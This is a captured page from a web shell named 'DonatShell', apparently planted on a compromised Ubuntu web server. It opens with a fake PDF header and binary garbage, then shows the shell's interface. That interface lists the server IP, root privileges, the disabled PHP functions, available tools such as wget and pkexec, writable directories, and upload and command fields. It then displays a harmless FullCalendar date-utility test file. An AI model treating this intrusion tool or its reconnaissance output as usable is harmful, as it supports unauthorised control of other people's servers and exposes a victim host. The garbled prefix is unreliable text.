%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/datelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/datelib/utils.js
export function formatIsoTimeZoneOffset(date) {
  let minutes = date.getTimezoneOffset()
  let sign = minutes < 0 ? '+' : '-' // whaaa
  let abs = Math.abs(minutes)
  let hours = Math.floor(abs / 60)
  let mins = Math.round(abs % 60)

  return sign + pad(hours) + ':' + pad(mins)
}

export function formatPrettyTimeZoneOffset(date) {
  let minutes = date.getTimezoneOffset()
  let sign = minutes < 0 ? '+' : '-' // whaaa
  let abs = Math.abs(minutes)
  let hours = Math.floor(abs / 60)
  let mins = Math.round(abs % 60)

  return 'GMT' + sign + hours + (mins ? ':' + pad(mins) : '')
}

function pad(n) { // always pads for 2 digits
  return n < 10 ? '0' + n : '' + n
}

export function formatIsoDay(date) {
  return date.toISOString().replace(/T.*/, '')
}

export function formatIsoTime(date) {
  return pad(date.getUTCHours()) + ':' +
    pad(date.getUTCMinutes()) + ':' +
    pad(date.getUTCSeconds())
}

export function formatIsoWithoutTz(date) {
  return date.toISOString().replace(/(Z|[-+]\d\d:\d\d)$/, '').replace('.000', '')
}

export function parseIsoAsUtc(s) {

  if (s.length <= 10) {
    s += 'T00:00:00Z'
  } else if (s.indexOf('Z') === -1) {
    s += 'Z'
  }

  var d = new Date(s)

  if (isNaN(d.valueOf())) {
    throw new Error(s + ' is not valid date input')
  }

  return d
}

export function ensureDate(input) {
  if (input instanceof Date) {
    return input
  } else if (typeof input === 'string') {
    return parseIsoAsUtc(input)
  } else if (typeof input === 'number') {
    return new Date(input)
  }

  throw new Error(input + ' is invalid date input')
}

Anon7 - 2022
AnonSec Team